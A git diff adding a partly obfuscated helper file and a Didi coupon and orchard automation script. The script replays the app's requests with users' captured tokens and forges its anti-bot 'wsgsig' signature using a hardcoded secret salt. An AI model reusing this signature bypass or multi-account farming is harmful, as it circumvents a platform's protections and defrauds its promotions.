+ "tsID": _0x12706b
+ };
+ }
+ return {
+ "contentCODE": null,
+ "tsCODE": null,
+ "srcAttribute": null
+ };
+ }
+ _0x175a36?.["hasOwnProperty"](_0x26ff7a) && (_0x745ed7 = _0x175a36[_0x26ff7a]);
+ return _0x745ed7;
+ }
+ }
+ ["pop"](_0x4ce15d, _0x2120b0, _0x272aea = "") {
+ {
+ let _0x3af129 = _0x272aea;
+ _0x4ce15d?.["ytreporPnwOsah".split("").reverse().join("")](_0x2120b0) && (_0x3af129 = _0x4ce15d[_0x2120b0], delete _0x4ce15d[_0x2120b0]);
+ return _0x3af129;
+ }
+ }
+ ["copy"](_0x3d5675) {
+ return Object.assign({}, _0x3d5675);
+ }
+ ["read_env"](_0x4bcb87) {
+ let _0x1a7889 = _0x5dcb01.map(_0x4310e6 => process.env[_0x4310e6]);
+ for (let _0x606e30 of _0x1a7889.filter(_0x453b93 => !!_0x453b93)) {
+ for (let _0x198550 of _0x606e30.split(_0xed67c1).filter(_0x3bf24a => !!_0x3bf24a)) {
+ if (this.userList.includes(_0x198550)) {
+ continue;
+ }
+ this.userList.push(new _0x4bcb87(_0x198550));
+ }
+ }
+ this.userCount = this.userList.length;
+ if (!this.userCount) {
+ const _0x49da5b = {
+ "notify": true
+ };
+ this.log("未找到变量,请检查变量" + _0x5dcb01.map(_0x1b005b => "[" + _0x1b005b + "]").join("或"), _0x49da5b);
+ return false;
+ }
+ this.log("到找共".split("").reverse().join("") + this.userCount + "个账号");
+ return true;
+ }
+ ["time"](_0x49ad16, _0x2b5063 = null) {
+ {
+ let _0x31a923 = _0x2b5063 ? new Date(_0x2b5063) : new Date(),
+ _0x55fc08 = {
+ "M+": _0x31a923.getMonth() + 1,
+ "d+": _0x31a923.getDate(),
+ "h+": _0x31a923.getHours(),
+ "m+": _0x31a923.getMinutes(),
+ "s+": _0x31a923.getSeconds(),
+ "q+": Math.floor((_0x31a923.getMonth() + 3) / 3),
+ "S": this.padStr(_0x31a923.getMilliseconds(), 3)
+ };
+ new RegExp(")+y(".split("").reverse().join(""), "").test(_0x49ad16) && (_0x49ad16 = _0x49ad16.replace(RegExp.$1, (_0x31a923.getFullYear() + "").substr(4 - RegExp.$1.length)));
+ for (let _0x301ea9 in _0x55fc08) new RegExp("(" + _0x301ea9 + ")").test(_0x49ad16) && (_0x49ad16 = _0x49ad16.replace(RegExp.$1, 1 == RegExp.$1.length ? _0x55fc08[_0x301ea9] : ("00" + _0x55fc08[_0x301ea9]).substr(("" + _0x55fc08[_0x301ea9]).length)));
+ return _0x49ad16;
+ }
+ }
+ async ["showmsg"]() {
+ if (!this.notifyFlag) return;
+ if (!this.notifyStr.length) return;
+ var _0x5b49dd = require("./sendNotify");
+ this.log("\n============== 推送 ==============");
+ await _0x5b49dd.sendNotify(this.name, this.notifyStr.join("\n"));
+ }
+ ["padStr"](_0x512e4d, _0x1b10cc, _0x42a247 = {}) {
+ let _0x2d42d6 = _0x42a247.padding || "0",
+ _0x451531 = _0x42a247.mode || "l",
+ _0x5a8b0c = String(_0x512e4d),
+ _0x1903c4 = _0x1b10cc > _0x5a8b0c.length ? _0x1b10cc - _0x5a8b0c.length : 0,
+ _0x585dc1 = "";
+ for (let _0x3a78c2 = 0; _0x3a78c2 < _0x1903c4; _0x3a78c2++) {
+ _0x585dc1 += _0x2d42d6;
+ }
+ _0x451531 == "r" ? _0x5a8b0c = _0x5a8b0c + _0x585dc1 : _0x5a8b0c = _0x585dc1 + _0x5a8b0c;
+ return _0x5a8b0c;
+ }
+ ["json2str"](_0x3eed1a, _0x2277e1, _0x2069f6 = false) {
+ {
+ let _0x3af26c = [];
+ for (let _0x301b83 of Object.keys(_0x3eed1a).sort()) {
+ let _0x4baceb = _0x3eed1a[_0x301b83];
+ if (_0x4baceb && _0x2069f6) {
+ _0x4baceb = encodeURIComponent(_0x4baceb);
+ }
+ _0x3af26c.push(_0x301b83 + "=" + _0x4baceb);
+ }
+ return _0x3af26c.join(_0x2277e1);
+ }
+ }
+ ["str2json"](_0x45d5f2, _0x2ce388 = false) {
+ {
+ let _0x2c969d = {};
+ for (let _0x576f5e of _0x45d5f2.split("&")) {
+ if (!_0x576f5e) continue;
+ let _0x2c2045 = _0x576f5e.indexOf("=");
+ if (_0x2c2045 == -1) {
+ continue;
+ }
+ let _0x5057c3 = _0x576f5e.substr(0, _0x2c2045),
+ _0x1775cc = _0x576f5e.substr(_0x2c2045 + 1);
+ _0x2ce388 && (_0x1775cc = decodeURIComponent(_0x1775cc));
+ _0x2c969d[_0x5057c3] = _0x1775cc;
+ }
+ return _0x2c969d;
+ }
+ }
+ ["randomPattern"](_0x17c712, _0x20d7b2 = "abcdef0123456789") {
+ let _0x1e24a4 = "";
+ for (let _0x437e45 of _0x17c712) {
+ {
+ if (_0x437e45 == "x") _0x1e24a4 += _0x20d7b2.charAt(Math.floor(Math.random() * _0x20d7b2.length));else {
+ _0x437e45 == "X" ? _0x1e24a4 += _0x20d7b2.charAt(Math.floor(Math.random() * _0x20d7b2.length)).toUpperCase() : _0x1e24a4 += _0x437e45;
+ }
+ }
+ }
+ return _0x1e24a4;
+ }
+ ["randomUuid"]() {
+ return this.randomPattern("xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx");
+ }
+ ["randomString"](_0x50286f, _0x4e74ca = "9876543210fedcba".split("").reverse().join("")) {
+ {
+ let _0x20743d = "";
+ for (let _0x2d3169 = 0; _0x2d3169 < _0x50286f; _0x2d3169++) {
+ _0x20743d += _0x4e74ca.charAt(Math.floor(Math.random() * _0x4e74ca.length));
+ }
+ return _0x20743d;
+ }
+ }
+ ["randomList"](_0x161639) {
+ let _0x5ac11c = Math.floor(Math.random() * _0x161639.length);
+ return _0x161639[_0x5ac11c];
+ }
+ ["wait"](_0x518432) {
+ return new Promise(_0x3b888a => setTimeout(_0x3b888a, _0x518432));
+ }
+ async ["exitNow"]() {
+ await this.showmsg();
+ let _0x1b5003 = Date.now(),
+ _0x45c91d = (_0x1b5003 - this.startTime) / 1000;
+ this.log("");
+ const _0x170131 = {
+ "time": true
+ };
+ this.log("[" + this.name + "了行运共,束结行运]".split("").reverse().join("") + _0x45c91d + "秒", _0x170131);
+ process.exit(0);
+ }
+ ["normalize_time"](_0x52a126, _0xea5f47 = {}) {
+ {
+ let _0x54f8e5 = _0xea5f47.len || this.default_timestamp_len;
+ _0x52a126 = _0x52a126.toString();
+ let _0x2a4248 = _0x52a126.length;
+ while (_0x2a4248 < _0x54f8e5) {
+ _0x52a126 += "0";
+ }
+ _0x2a4248 > _0x54f8e5 && (_0x52a126 = _0x52a126.slice(0, 13));
+ return parseInt(_0x52a126);
+ }
+ }
+ async ["wait_until"](_0x549baf, _0xbd7457 = {}) {
+ let _0x35f3ea = _0xbd7457.logger || this,
+ _0x475b69 = _0xbd7457.interval || this.default_wait_interval,
+ _0x5ed611 = _0xbd7457.limit || this.default_wait_limit,
+ _0x17e7fa = _0xbd7457.ahead || this.default_wait_ahead;
+ if (typeof _0x549baf == "string" && _0x549baf.includes(":")) {
+ if (_0x549baf.includes("-")) _0x549baf = new Date(_0x549baf).getTime();else {
+ {
+ let _0x4619cd = this.time("yyyy-MM-dd ");
+ _0x549baf = new Date(_0x4619cd + _0x549baf).getTime();
+ }
+ }
+ }
+ let _0x1cd343 = this.normalize_time(_0x549baf) - _0x17e7fa,
+ _0x50d161 = this.time("S.ss:mm:hh".split("").reverse().join(""), _0x1cd343),
+ _0x3628a2 = Date.now();
+ _0x3628a2 > _0x1cd343 && (_0x1cd343 += 86400000);
+ let _0x2fb0c8 = _0x1cd343 - _0x3628a2;
+ if (_0x2fb0c8 > _0x5ed611) {
+ const _0x2e3e5c = {
+ "time": true
+ };
+ _0x35f3ea.log("[间时标目离".split("").reverse().join("") + _0x50d161 + "于大]".split("").reverse().join("") + _0x5ed611 / 1000 + "秒,不等待", _0x2e3e5c);
+ } else {
+ const _0xe9ac59 = {
+ "time": true
+ };
+ _0x35f3ea.log("[间时标目离".split("").reverse().join("") + _0x50d161 + "]还有" + _0x2fb0c8 / 1000 + "待等始开,秒".split("").reverse().join(""), _0xe9ac59);
+ while (_0x2fb0c8 > 0) {
+ {
+ let _0x2b13e7 = Math.min(_0x2fb0c8, _0x475b69);
+ await this.wait(_0x2b13e7);
+ _0x3628a2 = Date.now();
+ _0x2fb0c8 = _0x1cd343 - _0x3628a2;
+ }
+ }
+ const _0x4fbb80 = {
+ "time": true
+ };
+ _0x35f3ea.log("待等成完已".split("").reverse().join(""), _0x4fbb80);
+ }
+ }
+ async ["wait_gap_interval"](_0x3610c9, _0x1513c8) {
+ let _0x4fcaad = Date.now() - _0x3610c9;
+ _0x4fcaad < _0x1513c8 && (await this.wait(_0x1513c8 - _0x4fcaad));
+ }
+ }(_0x58fdd8);
+ }
+ })();
\ No newline at end of file
diff --git a/didi.js b/didi.js
new file mode 100644
index 00000000..b1dc7c97
--- /dev/null
+++ b/didi.js
@@ -0,0 +1,821 @@
+/**
+ * cron 20 8 * * *
+ * Show:滴滴领券&果园 暂时每天一次
+ * 变量名:didi
+ * 注意:微信小程序和APP的token同样可用 搜不到关键词就搜token
+ * 变量值:https://api.didi.cn 抓域名中 请求体*(body) city_id 中的 和请求头Headers中的Didi-Ticket
+ * 注意 ut.xiaojukeji.com 请求体中的token和Didi-Ticket是一样的 都可以抓 找不到可以放大镜搜索
+ * 有BUG记得反馈 果园入口 微信打开 http://www.yuban.ltd/wx/?id=20240322215239111024747
+ * 正确格式 Didi-Ticket # city_id
+ * scriptVersionNow = "0.0.1";
+ */
+
+const $ = new Env("滴滴领券&果园");
+const notify = $.isNode() ? require('./sendNotify') : '';
+let ckName = "didi";
+let envSplitor = ["&", "\n"]; //多账号分隔符
+let strSplitor = "#"; //多变量分隔符
+let userIdx = 0;
+let userList = [];
+class Task {
+ constructor(str) {
+ this.index = ++userIdx;
+ this.ck = str.split(strSplitor)[0]; //单账号多变量分隔符
+ this.ckStatus = true;
+ this.couponsBindList = []
+ this.waterNum = 0;
+ this.city_id = Number(str.split(strSplitor)[1]);
+ }
+ async main() {
+ await this.productInit();
+ await this.sign_do()
+ await this.doLottery()
+ for (let i of this.couponsBindList) {
+ await this.coupon_bind(i.activity_id, i.group_id, i.coupon_conf_id)
+ }
+ await this.do_group()
+ await this.mission_get()
+ await this.plant_sign()
+ await this.plant_newEnter()
+ if (this.waterNum > 10) {
+ for (let i = 0; i < (this.waterNum / 10); i++) {
+ await this.plant_newWatering()
+
+ }
+ }
+ }
+ async taskRequest(method, url, body = "") {
+ //
+ let headers = {
+ 'Content-Type': 'application/json',
+ 'Didi-Ticket': this.ck,
+ }
+ const reqeuestOptions = {
+ url: url,
+ method: method,
+ headers: headers,
+ }
+ body == "" ? "" : Object.assign(reqeuestOptions, { body: body })
+ let { body: result } = await $.httpRequest(reqeuestOptions)
+ return result
+ }
+
+ async productInit() {
+ try {
+ let result = await this.taskRequest("post", `https://api.didi.cn/webx/v3/productInit`, JSON.stringify({
+ "city_id": this.city_id,
+ "dchn": "YYPDp7e",
+ "args": {
+ "runtime_args": {
+ "Didi-Ticket": this.ck,
+ }
+ },
+ }))
+ if (result.errno == 0) {
+ //
+ $.log(`✅账号[${this.index}]-初始化活动信息成功🎉`)
+ let tmpArr = result.data.conf.strategy_data.daily_info.daily_coupon.coupons
+ let tmpArr2 = result.data.conf.strategy_data.sec_kill_info.seckill
+ // $.log(`本次共可领取[${tmpArr.length}]张每日精选券`)
+ for (let i of tmpArr2) {
+ if (i.status == 3) {
+ //过去
+ } else if (i.status == 1) {
+ //当前
+ for (let j of i.coupons) {
+ //console.log(j)
+ if (j.status == 1) {
+ //console.log(j)
+ this.couponsBindList.push({ activity_id: j.activity_id, group_id: j.group_id, coupon_conf_id: j.coupon_conf_id })
+ }
+ }
+ } else if (i.status == 2) {
+ //将来
+ }
+ }
+ for (let i of tmpArr) {
+ if (i.status == 1) {
+ //console.log(i)
+ this.couponsBindList.push({ activity_id: i.activity_id, group_id: i.group_id, coupon_conf_id: i.coupon_conf_id })
+ }
+ }
+ } else {
+
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async doLottery() {
+ try {
+ let result = await this.taskRequest("post", `https://ut.xiaojukeji.com/ut/janitor/api/action/lottery/doLottery`, JSON.stringify({
+ "act_id": "217533998314",
+ "city_id": this.city_id
+ }))
+ //console.log(options);
+ //console.log(JSON.stringify(result));
+ if (result.errno == 0) {
+ //console.log(`✅账号[${this.index}] 欢迎用户: ${result.errcode}🎉`);
+ $.log(`✅账号[${this.index}]-抽奖成功-[${result.data.prize_data[0].name}]🎉`)
+ } else {
+ $.log(`❌账号[${this.index}]-抽奖失败-[${result.errmsg}]`);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+
+ async coupon_bind(activity_id, group_id, coupon_conf_id) {
+ try {
+ let result = await this.taskRequest("post", `https://ut.xiaojukeji.com/ut/janitor/api/action/coupon/bind`, JSON.stringify({
+ "activity_id": activity_id,
+ "group_id": group_id,
+ "coupon_conf_id": coupon_conf_id,
+ "city_id": this.city_id
+ }))
+ //console.log(options);
+ //console.log(result);
+ if (result.errno == 0) {
+ $.log(`✅账号[${this.index}]-时间段领券成功-[${result.data.name}]🎉`)
+ } else {
+ $.log(`❌账号[${this.index}]-时间段领券失败-[${result.errmsg}]`);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async do_group() {
+ try {
+ let body = {
+ "prod_key": "integrated-marketing-award",
+ "token": this.ck,
+ "xak": "integrated-marketing-award-D5LYBz4SGgg4",
+ "city_id": this.city_id
+ }
+ let result = await this.taskRequest("post", `https://ut.xiaojukeji.com/ut/active_brick/api/v1/award/do_group?wsgsig=${this.get_wsgsig(body)}`, JSON.stringify(body))
+ //console.log(options);
+ //console.log(result);
+ if (result.errno == 0) {
+ let awardArr = []
+ for (let i of result.data.details) {
+ for (let j of i.rewards) {
+ awardArr.push(j.info[0].coupon_name)
+ }
+ }
+ $.log(`✅账号[${this.index}]-每日领券成功-[${awardArr}]🎉`)
+ } else {
+ $.log(`❌账号[${this.index}]-每日领券失败-[${result.errmsg}]`);
+ //console.log(result);
+ }
+ } catch (e) {
+ $.log(`❌账号[${this.index}]-领券失败-[501报错 - 测试版]`);
+ }
+ }
+ async sign_do() {
+ try {
+ let result = await this.taskRequest("post", `https://ut.xiaojukeji.com/ut/janitor/api/action/sign/do`, JSON.stringify({
+ //"activity_id": "217534045313",
+ }))
+ //console.log(options);
+ //console.log(result);
+ if (result.errno == 0) {
+ //console.log(`✅账号[${this.index}] 欢迎用户: ${result.errcode}🎉`);
+ $.log(`✅账号[${this.index}]-签到成功-[]🎉`)
+
+ } else {
+ $.log(`❌账号[${this.index}]-签到失败-[${result.errmsg}]`);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async plant_newEnter() {
+ let body = {
+ platform: 1,
+ game_id: 23,
+ token:
+ this.ck
+ };
+ try {
+ let result = await this.taskRequest("post", `https://game.xiaojukeji.com/api/game/plant/newEnter?wsgsig=${this.get_wsgsig(body)}`, JSON.stringify(body))
+ //console.log(options);
+ //console.log(result);
+ if (result.errno == 0) {
+ $.log(`✅账号[${this.index}]-果园信息获取成功-[${result.data.tree_info.pack_water}💧 ${result.data.tree_info.tree_progress}%]🎉`)
+ this.waterNum = Number(result.data.tree_info.pack_water);
+ } else {
+ $.log(`❌账号[${this.index}]-果园信息获取失败-[${result.errmsg}]`);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async mission_award(mission_id) {
+ let body = {
+ mission_id: mission_id,
+ game_id: 23,
+ platform: 1,
+ token:
+ this.ck,
+ }
+ try {
+ let result = await this.taskRequest("post", `https://game.xiaojukeji.com/api/game/mission/award?wsgsig=${this.get_wsgsig(body)}`, JSON.stringify(body))
+ //console.log(options);
+ //console.log(result);
+ if (result.errno == 0) {
+ $.log(`✅账号[${this.index}]-领取果园奖励成功-[${result.data.reward[0].count}/${result.data.reward[0].name}]🎉`)
+
+ } else {
+ $.log(`❌账号[${this.index}]-领取果园奖励失败-[${result.errmsg}]`);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async mission_get() {
+ try {
+ let result = await this.taskRequest("get", `https://game.xiaojukeji.com/api/game/mission/get?game_id=23&token=${this.ck}`)
+ //console.log(options);
+ //console.log(result);
+ if (result.errno == 0) {
+ for (let i of result.data.missions) {
+ if (i.type == 1) {
+ if (i.status == 0 && i.target == 1) {
+ await this.mission_update(i.id)
+ }
+ if (i.status == 2) {
+ await this.mission_award(i.id)
+ }
+ } else if (i.type == 2) {
+
+ } else if (i.type == 5) {
+ await this.mission_subscribe(i.id)
+ }
+
+
+ }
+
+ } else {
+ $.log(`❌账号[${this.index}]-果园初始化失败-[${result.errmsg}]`);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async mission_update(mission_id) {
+ let body = {
+ mission_id: mission_id,
+ game_id: 23,
+ platform: 1,
+ token:
+ this.ck,
+ }
+ try {
+ let result = await this.taskRequest("post", `https://game.xiaojukeji.com/api/game/mission/update?wsgsig=${this.get_wsgsig(body)}`, JSON.stringify(body))
+ //console.log(options);
+ //console.log(result);
+ if (result.errno == 0) {
+ $.log(`✅账号[${this.index}]-上传任务状态成功-[${result.errmsg}]🎉`)
+ await this.mission_award(mission_id)
+ } else {
+ $.log(`❌账号[${this.index}]-上传任务状态失败-[${result.errmsg, mission_id}] `);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ async mission_subscribe(id) {
+ let body = {
+ status: true,
+ game_id: 23,
+ platform: 1,
+ token:
+ this.ck,
+ };
+ try {
+ let result = await this.taskRequest("post", `https://game.xiaojukeji.com/api/game/subscribe?wsgsig=${this.get_wsgsig(body)}`, JSON.stringify(body))
+ //console.log(options);
+ //console.log(result);
+ if (result.errno == 0) {
+ $.log(`✅账号[${this.index}]-上传任务状态成功-[${result.errmsg}]🎉`)
+ await this.mission_award(id)
+ } else {
+ $.log(`❌账号[${this.index}]-上传任务状态失败-[${result.errmsg, mission_id}] `);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async plant_sign() {
+ try {
+ let body = {
+ platform: 1,
+ game_id: 23,
+ token:
+ this.ck,
+ }
+ let result = await this.taskRequest("post", `https://game.xiaojukeji.com/api/game/plant/sign?wsgsig=${this.get_wsgsig(body)}`, JSON.stringify(body))
+ // console.log("post", `https://game.xiaojukeji.com/api/game/plant/sign?wsgsig=${this.get_wsgsig(body)}`, JSON.stringify(body));
+ //console.log(result);
+ if (result.errno == 0) {
+ $.log(`✅账号[${this.index}]-果园签到成功-[${result.errmsg}]🎉`)
+
+ } else {
+ $.log(`❌账号[${this.index}]-果园签到失败-[${result.errmsg}]`);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+
+ async plant_newWatering() {
+ let body = {
+ platform: 1,
+ game_id: 23,
+ token:
+ this.ck,
+ }
+ try {
+ let result = await this.taskRequest("post", `https://game.xiaojukeji.com/api/game/plant/newWatering?wsgsig=${this.get_wsgsig(body)}`, JSON.stringify(body))
+ //console.log(options);
+ //console.log(result);
+ if (result.errno == 0) {
+ $.log(`✅账号[${this.index}]-浇水成功-[${result.data.tree_progress}%]🎉`)
+
+ } else {
+ $.log(`❌账号[${this.index}]-浇水失败-[${result.errmsg}]`);
+ //console.log(result);
+ }
+ } catch (e) {
+ console.log(e);
+ }
+ }
+ get_wsgsig(OO) {
+ OO = JSON.stringify(OO);
+ function c(t) {
+ for (var e = t.length, n = t.length - 1; n >= 0; n--) {
+ var r = t.charCodeAt(n);
+ r > 127 && r <= 2047 ? e++ : r > 2047 && r <= 65535 && (e += 2),
+ r >= 56320 && r <= 57343 && n--;
+ }
+ return e;
+ }
+
+
+ function r(t) {
+ for (
+ var e =
+ "ABCDEFG0123456789abcdefgHIJKLMN+/hijklmnOPQRSTopqrstUVWXYZuvwxyz",
+ n = "" + t,
+ r = void 0,
+ o = void 0,
+ i = 0,
+ u = "";
+ n.charAt(0 | i) || ((e = "="), i % 1);
+ u += e.charAt(63 & (r >> (8 - (i % 1) * 8)))
+ ) {
+ if ((o = n.charCodeAt((i += 0.75))) > 255)
+ throw new Error(
+ "'base64' failed: The string to be encoded contains characters outside of the Latin1 range."
+ );
+ r = (r << 8) | o;
+ }
+ return u;
+ }
+ function o(t, e) {
+ for (var n = [], r = 0; r < e.length; r++)
+ n[r] = t[r % 4] ^ e.charCodeAt(r);
+ return (
+ (n = Array.prototype.slice.apply(t).concat(n)),
+ String.fromCharCode.apply(null, n)
+ );
+ }
+
+
+ //D参数为提交的param
+ function en(T) {
+ return (
+ "dd03-" +
+ r(
+ o(
+ new Uint8Array(
+ new Uint32Array([
+ Math.floor(4294967296 * Math.random()),
+ ]).buffer
+ ),
+ T
+ )
+ ).replace(/=*$/, "")
+ );
+ }
+ function MD5(data) {
+ const crypto = require("crypto");
+ return crypto.createHash("md5").update(data).digest("hex");
+ }
+ let time = Math.floor(new Date() / 1e3)
+ return en('ts=' + time + '&v=1&os=web&av=02&kv=0000010001&vl=' + c(OO) + '&sig=' + MD5("R4doMFFeMNlliIWM" + OO))
+ }
+
+}
+
+
+!(async () => {
+ if (!(await checkEnv())) return;
+ if (userList.length > 0) {
+ let taskall = [];
+ for (let user of userList) {
+ if (user.ckStatus) {
+ taskall.push(user.main());
+ }
+ }
+ await Promise.all(taskall);
+ }
+ await $.sendMsg($.logs.join("\n"))
+})()
+ .catch((e) => console.log(e))
+ .finally(() => $.done());
+
+//********************************************************
+/**
+ * 变量检查与处理
+ * @returns
+ */
+async function checkEnv() {
+ let userCookie = ($.isNode() ? process.env[ckName] : $.getdata(ckName)) || "";
+ if (userCookie) {
+ let e = envSplitor[0];
+ for (let o of envSplitor)
+ if (userCookie.indexOf(o) > -1) {
+ e = o;
+ break;
+ }
+ for (let n of userCookie.split(e)) n && userList.push(new Task(n));
+ } else {
+ console.log(`未找到CK【${ckName}】`);
+ return;
+ }
+ return console.log(`共找到${userList.length}个账号`), true; //true == !0
+}
+function Env(t, s) {
+ return new (class {
+ constructor(t, s) {
+ this.name = t;
+ this.data = null;
+ this.dataFile = "box.dat";
+ this.logs = [];
+ this.logSeparator = "\n";
+ this.startTime = new Date().getTime();
+ Object.assign(this, s);
+ this.log("", `\ud83d\udd14${this.name}, \u5f00\u59cb!`);
+ }
+ isNode() {
+ return "undefined" != typeof module && !!module.exports;
+ }
+ isQuanX() {
+ return "undefined" != typeof $task;
+ }
+ isSurge() {
+ return "undefined" != typeof $httpClient && "undefined" == typeof $loon;
+ }
+ isLoon() {
+ return "undefined" != typeof $loon;
+ }
+ loaddata() {
+ if (!this.isNode()) return {};
+ {
+ this.fs = this.fs ? this.fs : require("fs");
+ this.path = this.path ? this.path : require("path");
+ const t = this.path.resolve(this.dataFile),
+ s = this.path.resolve(process.cwd(), this.dataFile),
+ e = this.fs.existsSync(t),
+ i = !e && this.fs.existsSync(s);
+ if (!e && !i) return {};
+ {
+ const i = e ? t : s;
+ try {
+ return JSON.parse(this.fs.readFileSync(i));
+ } catch (t) {
+ return {};
+ }
+ }
+ }
+ }
+ writedata() {
+ if (this.isNode()) {
+ this.fs = this.fs ? this.fs : require("fs");
+ this.path = this.path ? this.path : require("path");
+ const t = this.path.resolve(this.dataFile),
+ s = this.path.resolve(process.cwd(), this.dataFile),
+ e = this.fs.existsSync(t),
+ i = !e && this.fs.existsSync(s),
+ o = JSON.stringify(this.data);
+ e ? this.writeFileSync(t, o) : i ? this.fs.writeFileSync(s, o) : this.fs.writeFileSync(t, o);
+ }
+ }
+ lodash_get(t, s, e) {
+ const i = s.replace(/\[(\d+)\]/g, ".$1").split(".");
+ let o = t;
+ for (const t of i) if (((o = Object(o)[t]), void 0 === o)) return e;
+ return o;
+ }
+ lodash_set(t, s, e) {
+ return Object(t) !== t
+ ? t
+ : (Array.isArray(s) || (s = s.toString().match(/[^.[\]]+/g) || []),
+ (s
+ .slice(0, -1)
+ .reduce(
+ (t, e, i) =>
+ Object(t[e]) === t[e]
+ ? t[e]
+ : (t[e] = Math.abs(s[i + 1]) >> 0 == +s[i + 1] ? [] : {}),
+ t
+ )[s[s.length - 1]] = e),
+ t);
+ }
+ getdata(t) {
+ let s = this.getval(t);
+ if (/^@/.test(t)) {
+ const [, e, i] = /^@(.*?)\.(.*?)$/.exec(t),
+ o = e ? this.getval(e) : "";
+ if (o)
+ try {
+ const t = JSON.parse(o);
+ s = t ? this.lodash_get(t, i, "") : s;
+ } catch (t) {
+ s = "";
+ }
+ }
+ return s;
+ }
+ setdata(t, s) {
+ let e = !1;
+ if (/^@/.test(s)) {
+ const [, i, o] = /^@(.*?)\.(.*?)$/.exec(s),
+ h = this.getval(i),
+ a = i ? ("null" === h ? null : h || "{}") : "{}";
+ try {
+ const s = JSON.parse(a);
+ this.lodash_set(s, o, t), (e = this.setval(JSON.stringify(s), i));
+ } catch (s) {
+ const h = {};
+ this.lodash_set(h, o, t), (e = this.setval(JSON.stringify(h), i));
+ }
+ } else e = this.setval(t, s);
+ return e;
+ }
+ getval(t) {
+ if (this.isSurge() || this.isLoon()) {
+ return $persistentStore.read(t);
+ } else if (this.isQuanX()) {
+ return $prefs.valueForKey(t);
+ } else if (this.isNode()) {
+ this.data = this.loaddata();
+ return this.data[t];
+ } else {
+ return this.data && this.data[t] || null;
+ }
+ }
+ setval(t, s) {
+ if (this.isSurge() || this.isLoon()) {
+ return $persistentStore.write(t, s);
+ } else if (this.isQuanX()) {
+ return $prefs.setValueForKey(t, s);
+ } else if (this.isNode()) {
+ this.data = this.loaddata();
+ this.data[s] = t;
+ this.writedata();
+ return true;
+ } else {
+ return this.data && this.data[s] || null;
+ }
+ }
+ initGotEnv(t) {
+ this.got = this.got ? this.got : require("got");
+ this.cktough = this.cktough ? this.cktough : require("tough-cookie");
+ this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar();
+ if (t) {
+ t.headers = t.headers ? t.headers : {};
+ if (typeof t.headers.Cookie === "undefined" && typeof t.cookieJar === "undefined") {
+ t.cookieJar = this.ckjar;
+ }
+ }
+ }
+ /**
+ * @param {Object} options
+ * @returns {String} 将 Object 对象 转换成 queryStr: key=val&name=senku
+ */
+ queryStr(options) {
+ return Object.entries(options)
+ .map(([key, value]) => `${key}=${typeof value === 'object' ? JSON.stringify(value) : value}`)
+ .join('&');
+ }
+ //从url获取参数组成json
+ getURLParams(url) {
+ const params = {};
+ const queryString = url.split('?')[1];
+ if (queryString) {
+ const paramPairs = queryString.split('&');
+ paramPairs.forEach(pair => {
+ const [key, value] = pair.split('=');
+ params[key] = value;
+ });
+ }
+ return params;
+ }
+ isJSONString(str) {
+ try {
+ var obj = JSON.parse(str);
+ if (typeof obj == 'object' && obj) {
+ return true;
+ } else {
+ return false;
+ }
+ } catch (e) {
+ return false;
+ }
+ }
+ isJson(obj) {
+ var isjson = typeof (obj) == "object" && Object.prototype.toString.call(obj).toLowerCase() == "[object object]" && !obj.length;
+ return isjson;
+ }
+ async sendMsg(message) {
+ if (!message) return;
+ if ($.isNode()) {
+ await notify.sendNotify($.name, message)
+ } else {
+ $.msg($.name, '', message)
+ }
+ }
+ async httpRequest(options) {
+ let t = {
+ ...options
+ };
+ if (!t.headers) {
+ t.headers = {}
+ }
+ if (t.params) {
+ t.url += '?' + this.queryStr(t.params);
+ }
+ t.method = t.method.toLowerCase();
+ if (t.method === 'get') {
+ delete t.headers['Content-Type'];
+ delete t.headers['Content-Length'];
+ delete t.headers['content-type'];
+ delete t.headers['content-length'];
+ delete t["body"]
+ }
+ if (t.method === 'post') {
+ let ContentType;
+ if (!t.body) {
+ t.body = ""
+ } else {
+ if (typeof t.body == "string") {
+ if (this.isJSONString(t.body)) {
+ ContentType = 'application/json'
+ } else {
+ ContentType = 'application/x-www-form-urlencoded'
+ }
+ } else if (this.isJson(t.body)) {
+ t.body = JSON.stringify(t.body);
+ ContentType = 'application/json';
+ }
+ }
+ if (!t.headers['Content-Type'] || !t.headers['content-type']) {
+ t.headers['Content-Type'] = ContentType;
+ }
+ delete t.headers['Content-Length'];
+ }
+ if (this.isNode()) {
+ this.initGotEnv(t);
+ let httpResult = await this.got(t);
+ if (this.isJSONString(httpResult.body)) {
+ httpResult.body = JSON.parse(httpResult.body)
+ }
+ return httpResult;
+ }
+ if (this.isQuanX()) {
+ t.method = t.method.toUpperCase()
+ return new Promise((resolve, reject) => {
+ $task.fetch(t).then(response => {
+ if (this.isJSONString(response.body)) {
+ response.body = JSON.parse(response.body)
+ }
+ resolve(response)
+ })
+ })
+ }
+ }
+ randomNumber(length) {
+ const characters = '0123456789';
+ return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join('');
+ }
+ randomString(length) {
+ const characters = 'abcdefghijklmnopqrstuvwxyz0123456789';
+ return Array.from({ length }, () => characters[Math.floor(Math.random() * characters.length)]).join('');
+ }
+ timeStamp() {
+ return new Date().getTime()
+ }
+ uuid() {
+ return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, function (c) {
+ var r = Math.random() * 16 | 0,
+ v = c == 'x' ? r : (r & 0x3 | 0x8);
+ return v.toString(16);
+ });
+ }
+ time(t) {
+ let s = {
+ "M+": new Date().getMonth() + 1,
+ "d+": new Date().getDate(),
+ "H+": new Date().getHours(),
+ "m+": new Date().getMinutes(),
+ "s+": new Date().getSeconds(),
+ "q+": Math.floor((new Date().getMonth() + 3) / 3),
+ S: new Date().getMilliseconds(),
+ };
